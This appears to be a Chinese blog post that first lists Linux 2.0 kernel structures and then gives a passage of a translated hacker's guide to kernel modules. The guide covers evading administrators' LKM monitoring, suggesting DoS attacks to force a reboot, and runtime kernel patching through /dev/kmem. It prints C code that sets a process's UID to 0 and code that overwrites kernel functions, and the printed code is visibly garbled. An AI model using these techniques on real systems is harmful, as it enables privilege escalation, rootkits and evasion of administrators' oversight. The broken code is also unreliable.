the end of the "visible" part of the structure. All * fields hereafter are internal to the system, and may change at * will (read: may be cleaned up at will). */ /* These may be needed for future network-power-down code. */ unsigned long trans_start; /* Time (jiffies) of last transmit */ unsigned long last_rx; /* Time of last Rx */ unsigned short flags; /* interface flags (BSD)*/ unsigned short family; /* address family ID */ unsigned short metric; /* routing metric */ unsigned short mtu; /* MTU value */ unsigned short type; /* hardware type */ unsigned short hard_header_len; /* hardware hdr len */ void *priv; /* private data */ /* Interface address info. */ unsigned char broadcast[MAX_ADDR_LEN]; unsigned char pad; unsigned char dev_addr[MAX_ADDR_LEN]; unsigned char addr_len; /* hardware addr len */ unsigned long pa_addr; /* protocol address */ unsigned long pa_brdaddr; /* protocol broadcast addr*/ unsigned long pa_dstaddr; /* protocol P-P other addr*/ unsigned long pa_mask; /* protocol netmask */ unsigned short pa_alen; /* protocol address len */ struct dev_mc_list *mc_list; /* M‘cast mac addrs */ int mc_count; /* No installed mcasts */ struct ip_mc_list *ip_mc_list; /* IP m‘cast filter chain */ __u32 tx_queue_len; /* Max frames per queue */ /* For load balancing driver pair support */ unsigned long pkt_queue; /* Packets queued */ struct device *slave; /* Slave device */ struct net_alias_info *alias_info; /* main dev alias info */ struct net_alias *my_alias; /* alias devs */ /* Pointer to the interface buffers. */ struct sk_buff_head buffs[DEV_NUMBUFFS]; /* Pointers to interface service routines. */ int (*open)(struct device *dev); int (*stop)(struct device *dev); int (*hard_start_xmit) (struct sk_buff *skb, struct device *dev); int (*hard_header) (struct sk_buff *skb, struct device *dev, unsigned short type, void *daddr, void *saddr, unsigned len); int (*rebuild_header)(void *eth, struct device *dev, unsigned long raddr, struct sk_buff *skb); void (*set_multicast_list)(struct device *dev); int (*set_mac_address)(struct device *dev, void *addr); int (*do_ioctl)(struct device *dev, struct ifreq *ifr, int cmd); int (*set_config)(struct device *dev, struct ifmap *map); void (*header_cache_bind)(struct hh_cache **hhp, struct device *dev, unsigned short htype, __u32 daddr); void (*header_cache_update)(struct hh_cache *hh, struct device *dev, unsigned char * haddr); int (*change_mtu)(struct device *dev, int new_mtu); struct iw_statistics* (*get_wireless_stats)(struct device *dev); };
device_struct
此结构被块设备和字符设备用来向核心登记(包含设备名称以及可对此设备进行的文件操作)。chrdevs和blkdevs 中的每个有效分别表示一个字符设备和块设备。
struct device_struct { const char * name; struct file_operations * fops; };
file
每个打开的文件、套接口都用此结构表示。
struct file { mode_t f_mode; loff_t f_pos; unsigned short f_flags; unsigned short f_count; unsigned long f_reada, f_ramax, f_raend, f_ralen, f_rawin; struct file *f_next, *f_prev; int f_owner; /* pid or -pgrp where SIGIO should be sent */ struct inode * f_inode; struct file_operations * f_op; unsigned long f_version; void *private_data; /* needed for tty driver, and maybe others */ };
files_struct
描叙被某进程打开的所有文件。
struct files_struct { int count; fd_set close_on_exec; fd_set open_fds; struct file * fd[NR_OPEN]; };
fs_struct
struct fs_struct { int count; unsigned short umask; struct inode * root, * pwd; };
gendisk
包含关于某个硬盘的信息。用于磁盘初始化与分区检查时。
struct hd_struct { long start_sect; long nr_sects; }; struct gendisk { int major; /* major number of driver */ const char *major_name; /* name of major driver */ int minor_shift; /* number of times minor is shifted to get real minor */ int max_p; /* maximum partitions per device */ int max_nr; /* maximum number of real devices */ void (*init)(struct gendisk *); /* Initialization called before we do our thing */ struct hd_struct *part; /* partition table */ int *sizes; /* device size in blocks, copied to blk_size[] */ int nr_real; /* number of real devices */ void *real_devices; /* internal use */ struct gendisk *next; };
inode
此VFS inode结构描叙磁盘上一个文件或目录的信息。
struct inode { kdev_t i_dev; unsigned long i_ino; umode_t i_mode; nlink_t i_nlink; uid_t i_uid; gid_t i_gid; kdev_t i_rdev; off_t i_size; time_t i_atime; time_t i_mtime; time_t i_ctime; unsigned long i_blksize; unsigned long i_blocks; unsigned long i_version; unsigned long i_nrpages; struct semaphore i_sem; struct inode_operations *i_op; struct super_block *i_sb; struct wait_queue *i_wait; struct file_lock *i_flock; struct vm_area_struct *i_mmap; struct page *i_pages; struct dquot *i_dquot[MAXQUOTAS]; struct inode *i_next, *i_prev; struct inode *i_hash_next, *i_hash_prev; struct inode *i_bound_to, *i_bound_by; struct inode *i_mount; unsigned short i_count; unsigned short i_flags; unsigned char i_lock; unsigned char i_dirt; unsigned char i_pipe; unsigned char i_sock; unsigned char i_seek; unsigned char i_update; unsigned short i_writecount; union { struct pipe_inode_info pipe_i; struct minix_inode_info minix_i; struct ext_inode_info ext_i; struct ext2_inode_info ext2_i; struct hpfs_inode_info hpfs_i; struct msdos_inode_info msdos_i; struct umsdos_inode_info umsdos_i; struct iso_inode_info isofs_i; struct nfs_inode_info nfs_i; struct xiafs_inode_info xiafs_i; struct sysv_inode_info sysv_i; struct affs_inode_info affs_i; struct ufs_inode_info ufs_i; struct socket socket_i; void *generic_ip; } u; };
ipc_perm
此结构描叙对一个系统V IPC对象的存取权限。
struct ipc_perm { key_t key; ushort uid; /* owner euid and egid */ ushort gid; ushort cuid; /* creator euid and egid */ ushort cgid; ushort mode; /* access modes see mode flags below */ ushort seq; /* sequence number */ };
irqaction
用来描叙系统的中断处理过程。
struct irqaction { void (*handler)(int, void *, struct pt_regs *); unsigned long flags; unsigned long mask; const char *name; void *dev_id; struct irqaction *next; };
linux_binfmt
用来表示可被Linux理解的二进制文件格式。
struct linux_binfmt { struct linux_binfmt * next; long *use_count; int (*load_binary)(struct linux_binprm *, struct pt_regs * regs); int (*load_shlib)(int fd); int (*core_dump)(long signr, struct pt_regs * regs); };
mem_map_t
用来保存每个物理页面的信息。
typedef struct page { /* these must be first (free area handling) */ struct page *next; struct page *prev; struct inode *inode; unsigned long offset; struct page *next_hash; atomic_t count; unsigned flags; /* atomic flags, some possibly updated asynchronously */ unsigned dirty:16, age:8; struct wait_queue *wait; struct page *prev_hash; struct buffer_head *buffers; unsigned long swap_unlock_entry; unsigned long map_nr; /* page->map_nr == page - mem_map */ } mem_map_t;
mm_struct
用来描叙某任务或进程的虚拟内存。
struct mm_struct { int count; pgd_t * pgd; unsigned long context; unsigned long start_code, end_code, start_data, end_data; unsigned long start_brk, brk, start_stack, start_mmap; unsigned long arg_start, arg_end, env_start, env_end; unsigned long rss, total_vm, locked_vm; unsigned long def_flags; struct vm_area_struct * mmap; struct vm_area_struct * mmap_avl; struct semaphore mmap_sem; };
pci_bus
表示系统中的一个PCI总线。
struct pci_bus { struct pci_bus *parent; /* parent bus this bridge is on */ struct pci_bus *children; /* chain of P2P bridges on this bus */ struct pci_bus *next; /* chain of all PCI buses */ struct pci_dev *self; /* bridge device as seen by parent */ struct pci_dev *devices; /* devices behind this bridge */ void *sysdata; /* hook for sys-specific extension */ unsigned char number; /* bus number */ unsigned char primary; /* number of primary bridge */ unsigned char secondary; /* number of secondary bridge */ unsigned char subordinate; /* max number of subordinate buses */ };
pci_dev
表示系统中的每个PCI设备,包括PCI-PCI和PCI-PCI桥接器。
/* * There is one pci_dev structure for each slot-number/function-number * combination: */ struct pci_dev { struct pci_bus *bus; /* bus this device is on */ struct pci_dev *sibling; /* next device on this bus */ struct pci_dev *next; /* chain of all devices */ void *sysdata; /* hook for sys-specific extension */ unsigned int devfn; /* encoded device & function index */ unsigned short vendor; unsigned short device; unsigned int class; /* 3 bytes: (base,sub,prog-if) */ unsigned int master : 1; /* set if device is master capable */ /* * In theory, the irq level can be read from configuration * space and all would be fine. However, old PCI chips don‘t * support these registers and return 0 instead. For example, * the Vision864-P rev 0 chip can uses INTA, but returns 0 in * the interrupt line and pin registers. pci_init() * initializes this field with the value at PCI_INTERRUPT_LINE * and it is the job of pcibios_fixup() to change it if * necessary. The field must not be 0 unless the device * cannot generate interrupts at all. */ unsigned char irq; /* irq generated by this device */ };
request
被用来向系统的块设备发送请求。它总是向buffer cache读出或写入数据块。
struct request { volatile int rq_status; #define RQ_INACTIVE (-1) #define RQ_ACTIVE 1 #define RQ_SCSI_BUSY 0xffff #define RQ_SCSI_DONE 0xfffe #define RQ_SCSI_DISCONNECTING 0xffe0 kdev_t rq_dev; int cmd; /* READ or WRITE */ int errors; unsigned long sector; unsigned long nr_sectors; unsigned long current_nr_sectors; char * buffer; struct semaphore * sem; struct buffer_head * bh; struct buffer_head * bhtail; struct request * next; };
rtable
用来描叙向某个IP主机发送包的路由信息。此结构在IP路由cache内部实用。
struct rtable { struct rtable *rt_next; __u32 rt_dst; __u32 rt_src; __u32 rt_gateway; atomic_t rt_refcnt; atomic_t rt_use; unsigned long rt_window; atomic_t rt_lastuse; struct hh_cache *rt_hh; struct device *rt_dev; unsigned short rt_flags; unsigned short rt_mtu; unsigned short rt_irtt; unsigned char rt_tos; };
semaphore
保护临界区数据结构和代码信号灯。
struct semaphore { int count; int waking; int lock ; /* to make waking testing atomic */ struct wait_queue *wait; };
sk_buff
用来描叙在协议层之间交换的网络数据。
struct sk_buff { struct sk_buff *next; /* Next buffer in list */ struct sk_buff *prev; /* Previous buffer in list */ struct sk_buff_head *list; /* List we are on */ int magic_debug_cookie; struct sk_buff *link3; /* Link for IP protocol level buffer chains */ struct sock *sk; /* Socket we are owned by */ unsigned long when; /* used to compute rtt‘s */ struct timeval stamp; /* Time we arrived */ struct device *dev; /* Device we arrived on/are leaving by */ union { struct tcphdr *th; struct ethhdr *eth; struct iphdr *iph; struct udphdr *uh; unsigned char *raw; /* for passing file handles in a unix domain socket */ void *filp; } h; union { /* As yet incomplete physical layer views */ unsigned char *raw; struct ethhdr *ethernet; } mac; struct iphdr *ip_hdr; /* For IPPROTO_RAW */ unsigned long len; /* Length of actual data */ unsigned long csum; /* Checksum */ __u32 saddr; /* IP source address */ __u32 daddr; /* IP target address */ __u32 raddr; /* IP next hop address */ __u32 seq; /* TCP sequence number */ __u32 end_seq; /* seq [+ fin] [+ syn] + datalen */ __u32 ack_seq; /* TCP ack sequence number */ unsigned char proto_priv[16]; volatile char acked, /* Are we acked ? */ used, /* Are we in use ? */ free, /* How to free this buffer */ arp; /* Has IP/ARP resolution finished */ unsigned char tries, /* Times tried */ lock, /* Are we locked ? */ localroute, /* Local routing asserted for this frame */ pkt_type, /* Packet class */ pkt_bridged, /* Tracker for bridging */ ip_summed; /* Driver fed us an IP checksum */ #define PACKET_HOST 0 /* To us */ #define PACKET_BROADCAST 1 /* To all */ #define PACKET_MULTICAST 2 /* To group */ #define PACKET_OTHERHOST 3 /* To someone else */ unsigned short users; /* User count - see datagram.c,tcp.c */ unsigned short protocol; /* Packet protocol from driver. */ unsigned int truesize; /* Buffer size */ atomic_t count; /* reference count */ struct sk_buff *data_skb; /* Link to the actual data skb */ unsigned char *head; /* Head of buffer */ unsigned char *data; /* Data head pointer */ unsigned char *tail; /* Tail pointer */ unsigned char *end; /* End pointer */ void (*destructor)(struct sk_buff *); /* Destruct function */ __u16 redirport; /* Redirect port */ };
sock
包含BSD套接口的协议相关信息。例如对于一个INET(Internet Address Domain)套接口此数据结构 包含TCP/IP和UDP/IP信息。
struct sock { /* This must be first. */ struct sock *sklist_next; struct sock *sklist_prev; struct options *opt; atomic_t wmem_alloc; atomic_t rmem_alloc; unsigned long allocation; /* Allocation mode */ __u32 write_seq; __u32 sent_seq; __u32 acked_seq; __u32 copied_seq; __u32 rcv_ack_seq; unsigned short rcv_ack_cnt; /* count of same ack */ __u32 window_seq; __u32 fin_seq; __u32 urg_seq; __u32 urg_data; __u32 syn_seq; int users; /* user count */ /* * Not all are volatile, but some are, so we * might as well say they all are. */ volatile char dead, urginline, intr, blog, done, reuse, keepopen, linger, delay_acks, destroy, ack_timed, no_check, zapped, broadcast, nonagle, bsdism; unsigned long lingertime; int proc; struct sock *next; struct sock **pprev; struct sock *bind_next; struct sock **bind_pprev; struct sock *pair; int hashent; struct sock *prev; struct sk_buff *volatile send_head; struct sk_buff *volatile send_next; struct sk_buff *volatile send_tail; struct sk_buff_head back_log; struct sk_buff *partial; struct timer_list partial_timer; long retransmits; struct sk_buff_head write_queue, receive_queue; struct proto *prot; struct wait_queue **sleep; __u32 daddr; __u32 saddr; /* Sending source */ __u32 rcv_saddr; /* Bound address */ unsigned short max_unacked; unsigned short window; __u32 lastwin_seq; /* sequence number when we last updated the window we offer */ __u32 high_seq; /* sequence number when we did current fast retransmit */ volatile unsigned long ato; /* ack timeout */ volatile unsigned long lrcvtime; /* jiffies at last data rcv */ volatile unsigned long idletime; /* jiffies at last rcv */ unsigned int bytes_rcv; /* * mss is min(mtu, max_window) */ unsigned short mtu; /* mss negotiated in the syn‘s */ volatile unsigned short mss; /* current eff. mss - can change */ volatile unsigned short user_mss; /* mss requested by user in ioctl */ volatile unsigned short max_window; unsigned long window_clamp; unsigned int ssthresh; unsigned short num; volatile unsigned short cong_window; volatile unsigned short cong_count; volatile unsigned short packets_out; volatile unsigned short shutdown; volatile unsigned long rtt; volatile unsigned long mdev; volatile unsigned long rto; volatile unsigned short backoff; int err, err_soft; /* Soft holds errors that don‘t cause failure but are the cause of a persistent failure not just ‘timed out‘ */ unsigned char protocol; volatile unsigned char state; unsigned char ack_backlog; unsigned char max_ack_backlog; unsigned char priority; unsigned char debug; int rcvbuf; int sndbuf; unsigned short type; unsigned char localroute; /* Route locally only */ /* * This is where all the private (optional) areas that don‘t * overlap will eventually live. */ union { struct unix_opt af_unix; #if defined(CONFIG_ATALK) || defined(CONFIG_ATALK_MODULE) struct atalk_sock af_at; #endif #if defined(CONFIG_IPX) || defined(CONFIG_IPX_MODULE) struct ipx_opt af_ipx; #endif #ifdef CONFIG_INET struct inet_packet_opt af_packet; #ifdef CONFIG_NUTCP struct tcp_opt af_tcp; #endif #endif } protinfo; /* * IP ‘private area‘ */ int ip_ttl; /* TTL setting */ int ip_tos; /* TOS */ struct tcphdr dummy_th; struct timer_list keepalive_timer; /* TCP keepalive hack */ struct timer_list retransmit_timer; /* TCP retransmit timer */ struct timer_list delack_timer; /* TCP delayed ack timer */ int ip_xmit_timeout; /* Why the timeout is running */ struct rtable *ip_route_cache; /* Cached output route */ unsigned char ip_hdrincl; /* Include headers ? */ #ifdef CONFIG_IP_MULTICAST int ip_mc_ttl; /* Multicasting TTL */ int ip_mc_loop; /* Loopback */ char ip_mc_name[MAX_ADDR_LEN]; /* Multicast device name */ struct ip_mc_socklist *ip_mc_list; /* Group array */ #endif /* * This part is used for the timeout functions (timer.c). */ int timeout; /* What are we waiting for? */ struct timer_list timer; /* This is the TIME_WAIT/receive * timer when we are doing IP */ struct timeval stamp; /* * Identd */ struct socket *socket; /* * Callbacks */ void (*state_change)(struct sock *sk); void (*data_ready)(struct sock *sk,int bytes); void (*write_space)(struct sock *sk); void (*error_report)(struct sock *sk); };
socket
包含BSD套接口的信息。它不独立存在,一般位于一个VFS inode结构中。
struct socket { short type; /* SOCK_STREAM, ... */ socket_state state; long flags; struct proto_ops *ops; /* protocols do most everything */ void *data; /* protocol data */ struct socket *conn; /* server socket connected to */ struct socket *iconn; /* incomplete client conn.s */ struct socket *next; struct wait_queue **wait; /* ptr to place to wait on */ struct inode *inode; struct fasync_struct *fasync_list; /* Asynchronous wake up list */ struct file *file; /* File back pointer for gc */ };
task_struct
用来描叙系统中的进程或任务。
struct task_struct { /* these are hardcoded - don‘t touch */ volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ long counter; long priority; unsigned long signal; unsigned long blocked; /* bitmap of masked signals */ unsigned long flags; /* per process flags, defined below */ int errno; long debugreg[8]; /* Hardware debugging registers */ struct exec_domain *exec_domain; /* various fields */ struct linux_binfmt *binfmt; struct task_struct *next_task, *prev_task; struct task_struct *next_run, *prev_run; unsigned long saved_kernel_stack; unsigned long kernel_stack_page; int exit_code, exit_signal; /* ??? */ unsigned long personality; int dumpable:1; int did_exec:1; int pid; int pgrp; int tty_old_pgrp; int session; /* boolean value for session group leader */ int leader; int groups[NGROUPS]; /* * pointers to (original) parent process, youngest child, younger sibling, * older sibling, respectively. (p->father can be replaced with * p->p_pptr->pid) */ struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct wait_queue *wait_chldexit; unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; unsigned long timeout, policy, rt_priority; unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; long utime, stime, cutime, cstime, start_time; /* mm fault and swap info: this can arguably be seen as either mm-specific or thread-specific */ unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; unsigned long swap_address; unsigned long old_maj_flt; /* old value of maj_flt */ unsigned long dec_flt; /* page fault count of the last time */ unsigned long swap_cnt; /* number of pages to swap on next pass */ /* limits */ struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; /* file system info */ int link_count; struct tty_struct *tty; /* NULL if no tty */ /* ipc stuff */ struct sem_undo *semundo; struct sem_queue *semsleeping; /* ldt for this task - used by Wine. If NULL, default_ldt is used */ struct desc_struct *ldt; /* tss for this task */ struct thread_struct tss; /* filesystem information */ struct fs_struct *fs; /* open file information */ struct files_struct *files; /* memory management info */ struct mm_struct *mm; /* signal handlers */ struct signal_struct *sig; #ifdef __SMP__ int processor; int last_processor; int lock_depth; /* Lock depth. We can context switch in and out of holding a syscall kernel lock... */ #endif };
timer_list
用来为进程实现实时时钟。
struct timer_list { struct timer_list *next; struct timer_list *prev; unsigned long expires; unsigned long data; void (*function)(unsigned long); };
tq_struct
每个任务队列结构(tq_struct)包含着已经排队的任务信息。它被设备驱动用来描叙那些无需立刻 执行的任务。
struct tq_struct { struct tq_struct *next; /* linked list of active bh‘s */ int sync; /* must be initialized to zero */ void (*routine)(void *); /* function to call */ void *data; /* argument to function */ };
vm_area_struct
表示某进程的一个虚拟内存区域。
struct vm_area_struct { struct mm_struct * vm_mm; /* VM area parameters */ unsigned long vm_start; unsigned long vm_end; pgprot_t vm_page_prot; unsigned short vm_flags; /* AVL tree of VM areas per task, sorted by address */ short vm_avl_height; struct vm_area_struct * vm_avl_left; struct vm_area_struct * vm_avl_right; /* linked list of VM areas per task, sorted by address */ struct vm_area_struct * vm_next; /* for areas with inode, the circular list inode->i_mmap */ /* for shm areas, the circular list of attaches */ /* otherwise unused */ struct vm_area_struct * vm_next_share; struct vm_area_struct * vm_prev_share; /* more */ struct vm_operations_struct * vm_ops; unsigned long vm_offset; struct inode * vm_inode; unsigned long vm_pte; /* shared mem */
- 作者: wizhu 2005年07月19日, 星期二 22:37 回复(0) | 引用(0) 加入博采
Linux系统可卸载内核模块完全指南(下)
第四部分 一些更好的想法(给hacker的)4.1 击败系统管理员的LKM的方法
这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。
假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
4.2 修补整个内核-或者创建Hacker-OS
[注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio
Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio
Cesare的一个描述如何改变内核符号的论文。在我看来,这种攻击是一种很强大的‘内核入侵‘。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,。。。。,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。(每个系统都需要启动)。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何‘insmod‘LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。
正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
/*注意:我没有实现错误检查*/
#include
#include
#include
#include
/*我们想要改变的任务结构的最大数目*/
#define NR_TASKS 512
/*我们的任务结构-〉我只使用了我们需要的那部分*/
struct task_struct {
char a[108]; /*我们不需要的*/
int pid;
char b[168]; /*我们不需要的*/
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
char c[700]; /*我们不需要的*/
};
/*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的
struct task_struct {
volatile long state;
long counter;
long priority;
unsigned long signal;
unsigned long blocked;
unsigned long flags;
int errno;
long debugreg[8];
struct exec_domain *exec_domain;
struct linux_binfmt *binfmt;
struct task_struct *next_task, *prev_task;
struct task_struct *next_run, *prev_run;
unsigned long saved_kernel_stack;
unsigned long kernel_stack_page;
int exit_code, exit_signal;
unsigned long personality;
int dumpable:1;
int did_exec:1;
int pid;
int pgrp;
int tty_old_pgrp;
int session;
int leader;
int groups[NGROUPS];
struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
struct wait_queue *wait_chldexit;
unsigned short uid,euid,suid,fsuid;
unsigned short gid,egid,sgid,fsgid;
unsigned long timeout, policy, rt_priority;
unsigned long it_real_value, it_prof_value, it_virt_value;
unsigned long it_real_incr, it_prof_incr, it_virt_incr;
struct timer_list real_timer;
long utime, stime, cutime, cstime, start_time;
unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
int swappable:1;
unsigned long swap_address;
unsigned long old_maj_flt;
unsigned long dec_flt;
unsigned long swap_cnt;
struct rlimit rlim[RLIM_NLIMITS];
unsigned short used_math;
char comm[16];
int link_count;
struct tty_struct *tty;
struct sem_undo *semundo;
struct sem_queue *semsleeping;
struct desc_struct *ldt;
struct thread_struct tss;
struct fs_struct *fs;
struct files_struct *files;
struct mm_struct *mm;
struct signal_struct *sig;
#ifdef __SMP__
int processor;
int last_processor;
int lock_depth;
#endif
};
*/
int main(int argc, char *argv[])
{
unsigned long task[NR_TASKS];
/*用于特定PID的任务结构*/
struct task_struct current;
int kmemh;
int i;
pid_t pid;
int retval;
pid = atoi(argv[2]);
kmemh = open("/dev/kmem", O_RDWR);
/*找到第一个任务结构的内存地址*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
read(kmemh, task, sizeof(task));
/*遍历知道我们找到我们的任务结构(由PID确定)*/
for (i = 0; i < NR_TASKS; i++)
{
lseek(kmemh, task[i], SEEK_SET);
read(kmemh, ¤t, sizeof(current));
/*是我们的进程么*/
if (current.pid == pid)
{
/*是的,因此改变UID域。。。。*/
current.uid = current.euid = 0;
current.gid = current.egid = 0;
/*写回到内存*/
lseek(kmemh, task[i], SEEK_SET);
write(kmemh, ¤t, sizeof(current));
printf("Process was found and task structure was modified\n");
exit(0);
}
}
}
关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
/*同样的,没有错误检查*/
#include
#include
#include
#include
/*不过是我们的返回代码*/
unsigned char asmcode[]={0xc3};
int main(int argc, char *argv[])
{
unsigned long counter;
int kmemh;
/*打开设备*/
kmemh = open("/dev/kmem", O_RDWR);
/*找到内存地址中函数开始的地方*/
lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
/*写入我们的补丁字节*/
write(kmemh, &asmcode, 1):
close(kmemh);
}
让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
###adv### 4.2.1 如何在/dev/kmem中找到内核符号表
在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到有趣的东西。在上面的例子中,我们使用/proc/ksyms来找到我们需要改变的符号的地址。但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这个文件了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?
呵呵,有很多问题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫System。map的文件被创建,他映射每一个内核的符号到一个固定的地址。这个文件只是在编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这些编译时候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:
查找system。map来获得需要的内核符号
找到我们的地址
改变内核符号(结构,函数,或者其他的)
听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,因此他们的内核符号的地址也不会和我们的一样。而且在大多数系统中你并不会找到一个有用的system。map文件来告诉你每一个地址。那我们应该怎么办呢?Silvio Cesare建议我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。
4.2.2 新的不需要内核支持的‘insmod‘
现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kinsmod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件)的目标代码和内核空间的映射。但是这只是一个处理elf头的问题,不是内核问题。Silvio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传播)。
现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。
如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev/kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:
kernel data
...
kmalloc pool
Kmalloc
pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。
4.3 最后的话
